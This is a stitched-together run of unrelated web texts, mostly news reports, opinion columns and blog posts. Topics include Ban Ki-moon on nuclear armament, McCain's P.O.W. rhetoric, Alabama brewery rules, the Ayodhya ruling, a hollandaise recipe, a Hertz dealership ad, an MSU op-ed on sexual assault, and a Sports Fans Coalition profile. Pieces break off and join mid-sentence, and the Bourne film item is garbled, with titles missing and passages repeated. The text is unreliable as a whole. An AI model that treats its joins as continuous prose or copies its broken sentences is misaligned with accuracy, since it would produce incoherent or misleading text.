Although that would make great fiction, the preponderance of scientific evidence suggests we’re all staring at an ordinary—albeit swollen and disgusting—raccoon.
Content and copy writer by day and list writer by night, S.Grant enjoys exploring the bizarre, unusual, and topics that hide in plain sight. Contact S.Grant at [email protected]U.N. Secretary-General Ban Ki-moon expressed opposition Thursday to growing calls in South Korea for nuclear armament, saying such a move runs counter to international norms, a South Korean lawmaker said.
Ban made the remarks during a meeting with South Korean National Assembly Speaker Chung Se-kyun and the floor leaders of the ruling Saenuri Party, the main opposition Minjoo Party of Korea and the People's Party -- Chung Jin-suk, Woo Sang-ho and Park Jie-won, respectively.
Ban said he sees calls for nuclear armament in South Korea as "undesirable," saying the country, as the world's 13th-largest economy, should comply with international norms, according to the People's Party floor leader Park.
On North Korea, Ban said that sanctions on Pyongyang are necessary for negotiations, according to Park.
Ban also said that how fast China will agree on new U.N. Security Council sanctions on the North would be a barometer for the relations between the North and China, according to Park.
Ban, whose second five-year term as U.N. chief ends at the end of this year, also said that he plans to return home to South Korea in mid-January after leaving office, according to the participating lawmakers.
Saenuri Party floor leader Chung quoted Ban as saying that he needs some time off for rest, but has plans to pay visits to President Park Geun-hye and the National Assembly as soon as he returns.
Minjoo Party floor leader Woo also said that Ban told the meeting that he would be returning to South Korea before mid-January.
Ban's return is a key focus of attention because he's long been talked about as a potential candidate for next year's presidential election in his home country. Even though he has refused to discuss such a possibility, he has never ruled out the possibility, either.
Speculation about his presidential ambitions spiked earlier this year as Ban said during a visit to South Korea that he would "contemplate" what he would do as a South Korean citizen when he returns to his home country after stepping down as U.N. chief. (Yonhap)Today's Sign-off
Truth time: As dumb as Target and K-Mart refusing to stock GTA V in response to a dubious-as-fuck petition is, calling it "censorship" or comparing the company to TEH NAZOIS is dumb beyond words.
One or two companies refusing to sell a game a year after its release (in fucking Australia of all places) isn't a big deal. Is it unfair, moral panic, PR bullshit? Yes, absolutely. But PR goes both ways; if you don't like Target's ethical decisions, don't shop there. End of. Speaking of PR, Rockstar execs are probably creaming themselves right now, there's nothing like controversy and talk of censorship to shift units.
But you want to get mad about something, right? What about how most US retailers won't sell any game that gets an AO rating from the ESRB, forcing developers to self-censor in order to meet arbitrary content guidelines lest they end up being completely fucked in terms of retail sales? I know that story isn't quite as exciting since it lacks the evil feminist conspiracy angle, but one thing it does have going for it is that it actually fucking matters.
You can follow Grey and Cory on Twitter or you can watch them play videogames poorly on YouTube. Or both. All three. Whatever.His brutal hiatus in the Hanoi Hilton is one of the most stirring narratives ever told on the presidential trail — a trail full of heroic war stories. It created an enormous credit line of good will with the American people. It also allowed McCain, the errant son of the admiral who was the commander of U.S. forces in the Pacific during Vietnam — his jailers dubbed McCain the “Crown Prince” — to give himself some credit.
“He has been preoccupied with escaping the shadow of his father and establishing his own image and identity in the eyes of others,” read a psychiatric evaluation in his medical files. “He feels his experiences and performance as a P.O.W. have finally permitted this to happen.”
The ordeal also gave a more sympathetic cast to his carousing. As Robert Timberg wrote in “John McCain: An American Odyssey,” “What is true is that a number of P.O.W.’s, in those first few years after their release, often acted erratically, their lives pockmarked by drastic mood swings and uncharacteristic behavior before achieving a more mellow equilibrium.” Timberg said Hemingway’s line that people were stronger in the broken places was not always right.
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So it’s hard to believe that John McCain is now in danger of exceeding his credit limit on the equivalent of an American Express black card. His campaign is cheapening his greatest strength — and making a mockery of his already dubious claim that he’s reticent to talk about his P.O.W. experience — by flashing the P.O.W. card to rebut any criticism, no matter how unrelated. The captivity is already amply displayed in posters and TV advertisements.
The Rev. Kirbyjon Caldwell, the pastor who married Jenna Bush and who is part of a new Christian-based political action committee supporting Obama, recently criticized the joke McCain made at the Sturgis Motorcycle Rally encouraging Cindy to enter the topless Miss Buffalo Chip contest. The McCain spokesman Brian Rogers brought out the bottomless excuse, responding with asperity that McCain’s character had been “tested and forged in ways few can fathom.”
When the Obama crowd was miffed to learn that McCain was in a motorcade rather than in a “cone of silence” while Obama was being questioned by Rick Warren, Nicolle Wallace of the McCain camp retorted, “The insinuation from the Obama campaign that John McCain, a former prisoner of war, cheated is outrageous.”
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When Obama chaffed McCain for forgetting how many houses he owns, Rogers huffed, “This is a guy who lived in one house for five and a half years — in prison.”
As Sam Stein notes in The Huffington Post: “The senator has even brought his military record into discussion of his music tastes. Explaining that his favorite song was ‘Dancing Queen’ by Abba, he offered that his knowledge of music ‘stopped evolving when his plane intercepted a surface-to-air missile.’ ‘Dancing Queen,’ however, was produced in 1975, eight years after McCain’s plane was shot down.”
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The Kerry Swift-boat attacks in 2004 struck down the off-limits signs that were traditionally on a candidate’s military service. Many Democrats are willing to repay the favor, and Republicans clearly no longer see war medals as sacrosanct.
In a radio interview last week, Representative Terry Everett, an Alabama Republican, let loose with a barrage at the Democrat John Murtha, a decorated Vietnam War veteran who is the head of the House defense appropriations subcommittee, calling him “cut-and-run John Murtha” and an “idiot.”
“And don’t talk to me about him being an ex-marine,” Everett said. “Lord, that was 40 years ago. A lot of stuff can happen in 40 years.”
The real danger to the McCain crew in overusing the P.O.W. line so much that it’s a punch line is that it will give Obama an opening for critical questions:
While McCain’s experience was heroic, did it create a worldview incapable of anticipating the limits to U.S. military power in Iraq? Did he fail to absorb the lessons of Vietnam, so that he is doomed to always want to refight it? Did his captivity inform a search-and-destroy, shoot-first-ask-questions-later, “We are all Georgians,” mentality?beers from Alabama.jpg
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((Matt Wake/mwake@al.com) )
The Alcoholic Beverage Control Board on Wednesday is scheduled to consider a new record-keeping rule for breweries and brew pubs who sell beer for customers to take home.
A proposed rule, which was publicized by the ABC Board for public comment, required breweries and brew pubs to record the names, addresses, phone numbers and birth dates for customers who buy beer for off-premises consumption.
The ABC Board discussed the proposed rule at a work session on Sept. 12.
It has drawn some opposition, including from the advocacy group Free the Hops, which called it an unnecessary invasion of privacy, and the Alabama Brewers Guild.
Board Chairman Bubba Lee said after the Sept. 12 work session that he expected the proposal to be changed to require that the sellers record the names and addresses of the customers who buy products to take home, but not their phone numbers and birth dates.
Lee said the requirement to record the names and addresses of buyers is part of the state law and not subject to the board's discretion.
The proposal is available on the ABC Board website.
The Legislature passed a bill this year allowing breweries and brew pubs to sell their beer for off-premises consumption for the first time.
That triggered the rule-making process by the ABC Board.
Under the new law, breweries and brew pubs cannot sell more than 288 ounces to a customer per day.
Rep. Anthony Daniels, D-Huntsville, who sponsored the bill, said earlier this month he thought the proposed rule was an unnecessary burden on breweries and raised privacy concerns for customers.
Nick Hudson, president of Free the Hops, said earlier this month there is no justification for taking customers' names.
Hudson said Alabama wineries have been able to sell to customers for off-premises consumption for years without any such requirement.
The proposed rule would apply to wineries and distilleries, as well as breweries and brew pubs.Today, the Allahabad High Court in Lucknow, India announced its decisions in the Babri Masjid case, the controversial site that both Muslims and Hindus lay claim to in Ayodhya. Among other questions, the three-judge panel was determining whether the controversial site was indeed the birthplace of the Hindu Lord Ram. Sopan Joshi, of the Indian newsweekly Tehelka wrote, before the verdict, “There is always agitation when a matter of faith is tested on scales of science and history.”
Eighteen years after the mosque was destroyed by Hindu extremists who had already made their decision on the matter, 89 court witnesses, and a thousand-page report later, the verdict is in. Sort of. Of the three judges, two have stated that the site is indeed the birthplace of Ram. This was just one of more than a hundred major and minor issues at hand in the four suits that together made up the Ayodhya case. It could still be contested and brought up before the Supreme Court, but for now the site, bare but for its weighty history, has been declared two-thirds Hindu and one-third Muslim. Seems a perfect time for some fusion architecture, no?
Robert Mackey writes in The New York Times today:
Since they do make factual assertions about beliefs and faith traditions, the rulings of the three judges make for remarkable reading. One judge, Dharam Veer Sharma, for instance, ruled, “The disputed site is the birth place of Lord Ram,” and then added this, about the presence of the deity’s spirit at the site: “Spirit of divine ever remains present everywhere at all times for anyone to invoke at any shape or form in accordance with his own aspirations, and it can be shapeless and formless also.”
Spirit of divine. It is land on a hill in Uttar Pradesh. Sweet water emerges from a well. Maybe Ram was born there. Archaeology shows there were Hindu temples there before the mosque was built in 1527. Jains say they had a temple there as well. A report from 1918 mentions Buddhist shrines. How easy it is to forget that the land now known as India, which is predominantly Hindu today, was ruled by Muslims from 1000 AD until the Brits arrived in the 1700s. The Muslims and Hindus, at least for a time, shared the sacred space on Ramkot Hill, brought together to drink from the magic well whose waters were believed to be healing. The Brits, in a literal divide-and-conquer move, erected a barrier in the mid-1800s separating the space. Muslims here. Hindus there. Violence would burst periodically — mine! mine! — but it was the destruction of the mosque in 1992 that resulted in 2000 dead, mostly Muslims, who make up 13% of India’s population today.
There are 40,000 extra police on the streets of Mumbai, but that city, and the rest of India (less Kashmir, but that’s another story. Or is it?), is calm. It seems a good sign. Politicians and community groups cite a “maturity” in India’s manner of dealing with such matters. Perhaps. Perhaps.Almost one year ago, Ujo Music released the ‘Tiny Human’ prototype in an effort to explore what was possible at the intersection of music and blockchain technology. In our demo, we sought to demonstrate what direct fan-to-artist payments might look like in a digital setting. At the time, we were so excited to share the awesomeness of the blockchain that we took an admittedly simplified approach to solving the payments problem in the music industry. This blank slate approach, looking back, ended up holding us back from making meaningful progress towards solving some of the deeper issues surrounding royalties in music. We decided to take a few steps back and re-evaluate where we actually were, what it is we set out to do, and where we could most effectively play in the music sphere.
We spent a large chunk of the last year doing a proper dive into the machinations of music in the Western world, learning more about the ins-and-outs of copyright monitoring and enforcement, music metadata, distribution, promotion and marketing, and artist development. We cast as wide of a net as possible, taking care to observe and understand the perspectives of each stakeholder in the music industry, from PRO to publisher to label, all the way down to artists. From our conversations, it seems that the industry heavyweights would really like someone to clean up the global metadata problem. More importantly, we heard many recurring themes when speaking with artists: the situation is dire, and it’s becoming harder and harder to be heard in an increasingly crowded marketplace.
We want to solve all of your problems. We really do. But we are but a few bright-eyed technologists with a special hammer, looking for the right nail.
If we, for a second, forget about all of the mysticism surrounding the blockchain and simply look at what we have at our fingertips, we can take a second to appreciate that what we have is a new type of database that happens to be pretty good at doing certain things. The Ethereum blockchain is great at keeping track of information and replicating that data across a network of computers, which is interesting to the folks with metadata problems who have trouble figuring out who owns what and who to pay. We’re collaborating with some of these groups to figure out if we can’t pick up where the Global Repertoire Database left off and effectively become plumbers for the entire music industry. We’re aware this is the unsexiest thing a technology company could do in the music industry, but someone needs to do it, right?
More interestingly, the Ethereum blockchain is great for building open communities with guaranteed transparency and personal ownership. This gets even more interesting when combined with decentralized file systems like IPFS. Think of this as something that’s similar to the cloud, but instead of your information being owned and controlled by Apple or Google, it’s collectively supported by all participants in the system. Anything you upload to this cloud can be tied directly to a unique |
we didn’t know who the bad guys and the good guys really were. Anyway, if Collins managed a few decades ago he’d be played by Robert Loggia in the movie. RIP Robert Loggia.
28-TIE. Bruce Bochy and Clint Hurdle: This is the third year of my Handsome Managers list. In the past two years it got a good bit of traction as an amusing down-time topic for managerial interviews at the Winter Meetings or in spring training. I was told that Hurdle, who was dead last on the list the first two years, got a big chuckle out of learning that he was baseball’s least-handsome manager. Even wore it as a badge of honor as a proper baseball man probably should. Bochy — 27 and 29 on past lists — was likewise amused.
Unfortunately, the very same evening Giants beat writers were teasing Bochy about it last February, this happened:
We spent 10 minutes today w/ Bruce Bochy discussing the @craigcalcaterra handsomest manager list. Gotta love spring training. — Jerry Crasnick (@jcrasnick) February 20, 2015
#sfgiants just issued a statement saying Bruce Bochy has been admitted to the hospital to insert two stents in a heart-related procedure. — Henry Schulman (@hankschulman) February 20, 2015
Just texted Bochy. Said he’ll be out a couple of days. He was joking today about story that ranked him 29th-handsomest manager of 30…. — Henry Schulman (@hankschulman) February 20, 2015
…I joked via text that he must’ve taken it hard to end up in hospital. He texted back, “Broke my heart when I got that news.” #SFGiants — Henry Schulman (@hankschulman) February 20, 2015
I appreciate their sense of humor about it and, while it doesn’t make them any more objectively handsome than they already are, it sure as hell keeps them out of the bottom slot, for now and forever, most likely.
30. Mike Scioscia: Someone has to be last. Nothing personal against Scioscia. And in some ways he’s a victim of circumstance here. He’s had his job a long, long time. And, as time has gone on, the standards of managerial beauty have changed. He was probably top-half handsome when he got hired by the Angels. Since then, however, the ranks have gotten younger and younger and some of our old physical beauty standard bearers have left their jobs, causing some downward moves by default.
And, of course, time has worked on Mike a bit too:
Maybe Mike will have a healthy and happy year, helping himself move back up the ratings a bit for 2016. And, failing that, maybe we’ll see some Dusty Baker-like comebacks from some old, old friends who can skew the list back the way it used to be?
We can only hope.
Follow @craigcalcaterra
(all photos are from The Associated Press)Advertisement
Read more in News Harvard Student Robbed Walking Through Cambridge Common
• In 1708, John Leverett becomes Harvard’s seventh president and the first non-clergyman to assume the post.• The 13-member Class of 1708 includes John Quincy, John Tufts, and Josiah Oakes.• Quincy served as trustee and guardian of the Punkapoag Indians for 20 years and as an overseer of Harvard College. Quincy’s namesake and great-grandson John Quincy Adams became the sixth president of the United States.• Tufts created the first book of religious songs of the 13 original colonies. A failed preacher, Tufts earned fame as a musician.• Oakes, nephew of Harvard’s fourth president, worked as a minister in the Massachusetts town of Billingsgate before his congregation fired him amid outrage over his scandalous marriage and indeterminate parish.• Members of the Class of 1808 participate in a 1807 student protest against the quality of College food. Seventeen students are eventually expelled for their participation in the revolt, which would become known as the “Rotten Cabbage Rebellion.”•In 1808, the Harvard-Radcliffe Orchestra is founded by a group of young men interested in cigars, brandy, and serenading young women. Cambridge Street, the present-day home of CGIS and Cambridge Hospital, is constructed.•The 34 members of the Class of 1808 include Samuel E. Smith and Samuel Bacon.•Smith became the 10th governor of Maine and moved the state’s capital from Portsmouth to Augusta. He served during a contentious period marked by tensions between the United States and Canada over the location of Maine’s northern border.•Bacon was an ordained minister who was appointed by the U.S. government and the American Colonization Society to colonize Africa with freeborn blacks from the United States. His two companions died in Sierra Leone, and Bacon moved to Kent where his health steadily declined.• On Oct. 1, 1908, Harvard Business School opens its doors with fewer than 100 students and a faculty of 15.•In April 1908, Harvard makes public a report in which University President Charles W. Eliot denounced football, calling “the exaggeration of athletic sports in schools and colleges” a “crying evil.”•A College report finds that most of the Class of 1908 spent $500 to $1,000 per year to attend Harvard. A 1909 New York Times article reports that “the popular view of expensive living at the Cambridge institution was erroneous.” The survey also shows that every 1908 graduate either had “a lucrative position or is pursuing advanced study in college.”•The Class of 1908 includes George R. Minot and Sylvanus Griswold Morley.•Twenty-six years after his graduation, Minot won the Nobel Prize for his discovery of a liver treatment for anemia.•Morley traveled to Central America to conduct archaeology fieldwork in Mayan ruins. Later in life, he directed the reconstruction of Chichén Itzá.Yesterday, the hubbster posted his awesome Breakfast Skillet recipe. Whenever he makes this dish, (and when I’m feeling it), I whip up some hollandaise sauce. Now, I can hear the groans already, but I just want to tell you- I make it EASY.
Come on, guys, you know me by now. I don’t mess around. If the recipe says “this is finicky” or “requires constant supervision” or “bachelor’s degree required”, I don’t make it. I don’t care if it’s the best darn thing I’ll ever cook in my life- I don’t make it. Why? Because I’m normal, (as long as normal means marginally lazy and short on patience).
If you’re like me, this hollandaise sauce is for you.
EASY Hollandaise Sauce
Recipe originally pulled from Cooking: A Commonsense Guide. (an awesome cookbook, one I strongly recommend.)
Ingredients:
2 egg yolks
1 tbsp water
½ tbsp lemon juice
3 oz cooled, melted butter
Directions:
Combine all ingredients in the food processor for 10 seconds. With the motor running, add the butter in a thin stream. Believe it or not, that’s it. Boom. Hollandaise. Don’t you look smart?
Do you have any painfully easy sauce recipes? We’d love them. Put them in the comments.
Download the.pdf version of this recipe HERE.Used Car Dealership in Pasadena
Even beyond the annual Rose Bowl Parade, there's always plenty going on here in Pasadena, home of Cal Tech and our amazing used car dealership. For college students, first time shoppers and families looking for another commuter car to add to their fleet, our Hertz store provides high-quality rides that deliver in terms of pricing and by matching what you're looking for.
We're one of the highest rated used car dealers in the Los Angeles area, so read through what other customers have to say about Hertz, then leave your own glowing review.
"Hertz Pasadena has a wonderful selection of vehicles but their STAFF are beyond exceptional! We will be back and make another purchase in an Year or so to buy me a car! You definitely won our business, thank you for making the car purchase easy and pain free." - Silvia M. (Burbank, CA)
"I traded in my old hand me down and bought my first car from Hertz Car Sales. Despite going through some computer troubles, these guys had amazing customer service and got me out of there as quickly as they could. My biggest fear was being talked out of what I had prepared and budgeted for myself. That was squashed immediately when I showed up - the car I wanted was available and drives like a dream. Everyone working here is extremely professional and on top of it. Can't speak higher of this group." - Bonnie K. (Pala, CA)
"Compared to nearby dealerships, I saved at least a couple thousand and I bought a slightly newer model than I expected. The staff is friendly and they don't give you a hard sell. The cars are priced to move and there is no negotiation. It takes the pressure off. I had a pre-approved loan and they got me a lower rate. I splurged on an extra warranty and coverage for peace of mind. I highly recommend this dealership." - Amber D. (South Pasadena, CA)
Hearing from your neighbors ought to give you a good idea of what we're all about, but only you can really judge us for yourself. Many of the smaller, efficient commuter cars you'll find here are under $10,000, and typically come in well below what the books estimate for comparable vehicles. Every used car sold here at Hertz must pass a rigorous inspection process in order to earn certification, and the added warranty coverage that either comes standard or as an extra will boost your confidence even further. We offer an extensive selection of used cars and SUVs from brands including Chevrolet, Ford, Hyundai, Nissan, Toyota, and more.
Even if you have questionable credit, you can find a used car loan here at Hertz. We make the financing process quick and painless and we'll help you out every step of the way.
Ready to Buy? Visit us Today
Located along the Rose Bowl Parade route, our store at 2074 E Colorado Blvd in Pasadena is easy to find from all over the greater Los Angeles area.
From Cal Tech, use E Del Mar Blvd, turn left on S Berkeley Ave, turn right onto E Colorado Blvd and we'll be on the right.
From the Rose Bowl Stadium, find your way onto CA-134 E / I-210 E, take exit 28, merge onto Corson St, turn right onto N Altadena Dr, turn right onto Sierra Madre Blvd, turn right onto E Colorado Blvd and we'll be on the left.Women carry weight of assaults, violence
By Lauren Owings
opinion@statenews.com
Being a student at MSU comes with a lot of stipulations. You have the responsibility of making connections with professors, acing exams, and creating a plan for the future. As a female student, you have additional worries — including getting home. If you are a woman on campus, you have likely heard words of caution from friends and family members such as, “Don’t walk alone at night.”
As a freshman, I heard these words. The problem was I had a class that ended after dark, followed by a nearly 30-minute walk to my dorm. I walked home terrified every minute that I would be attacked. I wondered if my concerns were unprecedented, or if I really had reason to worry.
A news headline from March of this year reads, “Midnight Attack Against Woman on Michigan State University Campus.”
The 19-year-old student was assaulted by two unknown men as she walked to Yakeley Hall. Another recent story tells of two young women who were right outside their homes when they were grabbed and dragged to a secluded area by their attacker. But it’s not only anonymous attackers that women have to worry about — at least 80 percent of sexual assaults are committed by an acquaintance of the victim.
So, in addition to being told not to walk home alone at night, the female students at MSU are also told not to accept a drink from anyone, even someone they might consider a friend.
Women are often asked what they were wearing at the time of the attack, as if their personal clothing choices could have been the cause. Even the recent creation of a nail polish that detects date rape drugs suggests women are responsible for avoiding assaults. Four male students at North Carolina State University created the nail polish, and though their intentions were good, the product is now very controversial.
Statistics from Sarah Lawrence College show that one in four college women will be the victim of sexual assault during her academic career. That rate has remained the same since studies were conducted in the 1980s. The question is, why has nothing changed?
The rate of sexual assault against women will not waver until society stops placing the responsibility of prevention on women.
What if, instead of telling women what they can and cannot do, society begins to instruct males? Young men going to college should be told to respect women. They should be told that just as their body belongs to them, a woman’s body belongs to her. Young men should also learn that women and men should be treated equally.
The weight of the rules placed on women is too much to bear and leaves them feeling guilty and ashamed in the wake of an assault. In reality, the attacker holds all the blame. But incidents of sexual assault and their harsh effects will not decrease until society realizes women are not at fault.Half of all voters are opposed to repealing ObamaCare without a replacement, according to a new survey.
A Politico/Morning Consult poll finds that 50 percent of voters oppose repealing ObamaCare without replacing it, while just 36 percent of voters support an immediate repeal.
A majority of Republicans, 58 percent, support a straight ObamaCare repeal, but just 21 percent of Democrats feel the same way.
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Only 31 percent of poll respondents think Republicans should continue with their attempts to repeal and replace ObamaCare.
Another 18 percent think Republicans should move on to other agenda items, while 41 percent think Republicans should work to improve the current healthcare system.
The poll was conducted from June 20 to 24 among 3,981 registered voters. The margin of error is 2 percentage points.
Senate Republicans are considering passing a dramatically scaled-down version of their ObamaCare repeal bill, according to GOP aides.
The measure is an attempt to pass something and set up later negotiations with the House. The Senate is set to vote Tuesday on taking up an ObamaCare repeal measure that will be a shell for any future Senate action.
President Trump on Tuesday took to Twitter to urge Republicans to keep their promise to repeal and replace ObamaCare.Matt Damon's Next Bourne Movie Is Coming A Little Later Than We Thought By Mike Reyes Random Article Blend Bourne franchise went from a tailspin after the middling performance of The Bourne Legacy to an updraft with the return of both Matt Damon and Paul Greengrass into the franchise fold for what's now simply being called Bourne 4. While the Justin Lin helmed/Jeremy Renner starring Bourne project is
Star Trek 3's opening on Planet Of The Apes film – which itself was bumped to July 2017. It's not a huge shift by any stretch, but it's enough of a move to give the new film a little more time to maneuver. In other words, it's not that Bourne 5 is losing confidence; it's re-positioning itself for a better angle of attack.
The 2016/2017 line-up of blockbusters really seems to be in a huge state of flux at this moment, with films moving left and right to try and carve out their little patch of box office gold. The fact that Bourne 5 moved back two weeks looks like it's the right strategy, because Star Trek and Star Trek Into Darkness. But should Star Trek 3 not live up to the pedigree that J.J. Abrams had built with the first two films, word will spread fast and those two weeks could mean that the film market will be in need of a comfortable hit. Enter the newly returning team of Bourne series, ready to give the world a thrill that's familiar but brand new at the same time.
Seeing as the plot to Bourne 5 is under wraps at this point, there's no clue as to whether the film will feature a Bourne franchise just got interesting again, and Matt Damon is going to kick some old school franchise ass once more. If you need any more than that, you're just going to have to wait for the first trailer to drop - perhaps at the end of this year. Thefranchise went from a tailspin after the middling performance ofto an updraft with the return of both Matt Damon and Paul Greengrass into the franchise fold for what's now simply being called Bourne 4. While the Justin Lin helmed/Jeremy Renner starringproject is in a holding pattern, the Damon/Greengrass film is on the tarmac and ready to roll. But while things appear to be going well for the project, it seems that it's going to need just a bit more time before its ready to hit theaters. The L.A. Times is reporting that the new adventures of Jason Bourne have been pushed back two weeks, from the original July 15th, 2016 date to July 29th, 2016. This new slot takes the film out of the path of's opening on July 8, 2016, and lands it in the original release date for Matt Reeves' nextfilm – which itself was bumped to July 2017. It's not a huge shift by any stretch, but it's enough of a move to give the new film a little more time to maneuver. In other words, it's not thatis losing confidence; it's re-positioning itself for a better angle of attack.The 2016/2017 line-up of blockbusters really seems to be in a huge state of flux at this moment, with films moving left and right to try and carve out their little patch of box office gold. The fact thatmoved back two weeks looks like it's the right strategy, because Star Trek 3 should be set up for box office success after two huge home runs withand. But shouldnot live up to the pedigree that J.J. Abrams had built with the first two films, word will spread fast and those two weeks could mean that the film market will be in need of a comfortable hit. Enter the newly returning team of Matt Damon and Paul Greengrass, bringing back their respective talents to theseries, ready to give the world a thrill that's familiar but brand new at the same time.Seeing as the plot tois under wraps at this point, there's no clue as to whether the film will feature a Aaron Cross and Jason Bourne, or if that concept will be pushed off to either before or after the Aaron Cross follow up that Justin Lin is still attached to make. All that's known at this point is the future of thefranchise just got interesting again, and Matt Damon is going to kick some old school franchise ass once more. If you need any more than that, you're just going to have to wait for the first trailer to drop - perhaps at the end of this year. Blended From Around The Web Facebook
Back to topIn her new book Hacks, Donna Brazile — the former interim Democratic National Committee chairwoman — alleges that Hillary Clinton “rigged the [party’s] nomination process” against populist candidate Bernie Sanders in the 2016 primaries.
“I had found my proof [of rigging] and it broke my heart,” wrote Brazile in an exerpt of her book published by Politico Magazine today.
The said rigging, according to Brazile, was discovered in an agreement and explained as follows:
“The agreement—signed by Amy Dacey, the former CEO of the DNC, and Robby Mook [Clinton campaign manager] with a copy to Marc Elias—specified that in exchange for raising money and investing in the DNC, Hillary would control the party’s finances, strategy, and all the money raised. Her campaign had the right of refusal of who would be the party communications director, and it would make final decisions on all the other staff. The DNC also was required to consult with the campaign about all other staffing, budgeting, data, analytics, and mailings.”
Additionally, while Clinton, under normal circumstances, should not have had control of the party’s funding and strategy until after she was formally chosen as candidate during the summer convention, in the case of the 2016 race, Clinton had control in August 2015 — which was almost a year before the convention.
“The funding arrangement with HFA and the victory fund agreement was not illegal, but it sure looked unethical. If the fight had been fair, one campaign would not have control of the party before the voters had decided which one they wanted to lead. This was not a criminal act, but as I saw it, it compromised the party’s integrity,” Brazile added, again slamming Clinton’s integrity and ethical decisions — two things the 2016 Democratic candidate was continually knocked for by independent voters, Berniebros, and, of course, now-President Donald Trump.
Brazile went on to go after former DNC chair Debbie Wasserman Schultz, saying “Debbie was not a good manager” and deriding her leadership record for the party.
The irony in Brazile’s story is that she herself attempted to unethically “rig” the election to help Clinton, as she leaked a CNN debate question to the Democrat candidate while she was a commentator at the network. She also shared potential discussion topics with the Clinton campaign for a CNN town hall — another instance of Brazile’s unethical, above-the-rules behavior to favor the former secretary of state.
While Brazile has said she will “forever regret” these actions, her act of shock and disgust in Clinton’s “rig” of the DNC is akin to the pot calling the kettle black.
[featured image via screengrab]
Follow Caleb Ecarma on Twitter.
Have a tip we should know? tips@mediaite.comAlberta, like all provinces, is scrambling to come up with a plan to adapt to the federal government’s looming legalization of marijuana.
Given the rush to meet Ottawa’s quickly approaching July 1 deadline, the first proposed rules laid out by Justice Minister Kathleen Ganley are generally promising in their application of common sense to what is a complicated, costly and game-changing file off-loaded onto provinces by the Trudeau Liberals.
The federal ground rules are: the minimum age can’t be below 18 and you can’t possess in public more than 30 grams; most everything else is for provinces to decide.
So far, Alberta has hewed close to existing policies on tobacco and alcohol. Setting the minimum age at 18 — the age of majority in Alberta — for legal cannabis purchase and use aligns it with benchmarks for cigarettes and liquor. While some health advocates worry about the damaging effects of pot on still-developing brains, Ganley notes the biggest cannabis users are 18- to 25-year-olds. A minimum of 18 encourages young adults to obtain it legally.
Alberta would also allow consumption at home or in public areas where smoking is already permitted unlike Ontario, which proposes limiting pot use to private homes. Alberta will rightly ban cannabis use in vehicles or in areas frequented by children such as playgrounds.
The province proposes a government-regulated distribution model as exists with booze to ensure the sale of legally produced products.
There are still questions: How to allow online sales while keeping the product away from minors; how do police enforce impairment laws; and what about cannabis cafes? To come up with answers, the province is asking the public for ideas and feedback until Oct. 27.
The most challenging question may be whether retail cannabis sales will be run by private enterprise or government. New Brunswick and Ontario have indicated they are moving toward the latter option. Ganley notes there are pros and cons to both.
Government-run stores offer greater control over sales and protection from the black market but would also require developing from scratch a system of stores reminiscent of the old Alberta Liquor Control Board outlets that monopolized alcohol sales before privatization.
“But down the road, there’s the potential in several years that the government could net increased revenues from a public system,” Ganley said.
That way lies madness. The province must resist the costly and risky temptation to build a chain of cannabis stores; retail is a precarious business best left to industry. Instead, pass the responsibility to the private sector while recouping the costs of marijuana legalization with a reasonable new sin tax on the product.
Local editorials are the consensus opinion of the Journal’s editorial board, comprising Mark Iype, Dave Breakenridge, Sarah O’Donnell, Bill Mah and David Evans.As Brad Blakeman, a founder of the Sports Fans Coalition, put it: “The fan gets treated like a fumbled pigskin, instead of like the source of all wealth, which it is.”
Since being hired in August as the coalition’s first full-time employee, Frederick has been in perpetual motion — blogging and updating the group’s Web site from the dining room of a house off U Street; talking on radio stations across the country; and traveling to games with a clipboard in search of members.
Across four days, during the week in Washington and over a weekend in Colorado, it was obvious that Frederick’s message strikes a populist tone.
He consistently recited the group’s primary targets: television blackouts (especially at taxpayer-funded stadiums), the Bowl Championship Series and the ballooning cost of attending games. Looming is the possibility of a lockout in the N.F.L. next year.
“You’ll have owners and you’ll have players, but who represents the fans?” Frederick said. “We’d like to step into that void.”
That was how the Sports Fans Coalition began. David Goodfriend, a deputy staff secretary for the Clinton White House and now a lobbyist, got a call from a Senate staff member looking for a witness to speak on behalf of fans during a committee hearing.
“I said, ‘There has to be somebody,’ ” Goodfriend said. “I mean, we have an association for houseplants in this city.”
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He found nobody, so he decided to start a fan advocacy group. Wanting it to be nonpartisan, he asked Blakeman, the deputy assistant to the president for appointments and scheduling for four years under George W. Bush, to join him. The two met while debating on MSNBC a few years ago.
“This is one issue in a very partisan town of Republicans and Democrats that people can agree upon, because these are very fundamental issues of fairness and equity,” Blakeman said.
Still, skeptics were quick to dismiss it as another Washington front group with a hidden agenda. Goodfriend, 42, is a former executive for the Dish Network satellite-television company and remains a paid lobbyist for it, as well as for other organizations.
This month, Frederick sent a letter to Rupert Murdoch expressing concern that Fox and its regional sports networks were preventing fans from seeing games “because of contract disputes between your company and satellite and cable carriers.”
Scott Grogin, a Fox spokesman, was quick to note Goodfriend’s associations.
“They’re cloaking themselves in the flag of fans, when in fact they’re a house organ for the Dish Network,” Grogin said. “It just doesn’t pass the smell test.”
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Watchdog groups said that kind of arrangement was not unusual.
“It’s not uncommon for a lobbyist to have a variety of clients,” said Dave Levinthal, communications director for the Center for Responsive Politics, which tracks political spending. “Ultimately, it’s up to the organization that hires that lobbyist whether there’s a conflict of interest.”
For financing, the coalition solicits money from corporate donors. It has received financial support from two companies: Verizon (which operates Fios) and Time Warner Cable. Each has concerns over access to sports programming on its systems, and together they have contributed as much as $15,000 a month. Companies in the satellite industry, including Dish, have not donated “despite my best efforts,“ Goodfriend said.
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Asked why Time Warner Cable supports the coalition, Maureen Huff, the company’s senior director of public relations, said, “Like Time Warner Cable, the Sports Fans Coalition is opposed to the threat of blackouts in programming disputes.” Verizon did not respond to calls seeking comment.
“It was an essential, existential question in forming this thing: Should we or shouldn’t we?” Goodfriend said about whether the group should solicit and accept corporate money. “The ideal remains a fully member-funded organization. But at this stage, to get it off the ground, we had to accept corporate donations.”
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That is not uncommon for interest groups, experts said.
“It doesn’t make it right or good, but it’s definitely not unusual at all,” said Robert Weissman, president of Public Citizen, a consumer advocacy group. “To their credit, they’re disclosing it. They don’t have to.”
He added that there was a “huge need for sports fans and consumers to be engaged in the intersection of sports and policy issues.”
“But it’s crucial to be an authentic representative of fans, a group that can be independent of the parties involved in some of these contentious policy issues,” Weissman said.
Goodfriend and Blakeman, 52, said transparency was the antidote to criticism.
“I tell people, you can contribute if you like what we’re doing, but you don’t get a vote,” Goodfriend said. The group’s bylaws state that the agenda is set by its board of directors and the fans. So far, 1,300 fans have signed on (it is free). Registering them could be Frederick’s toughest assignment.
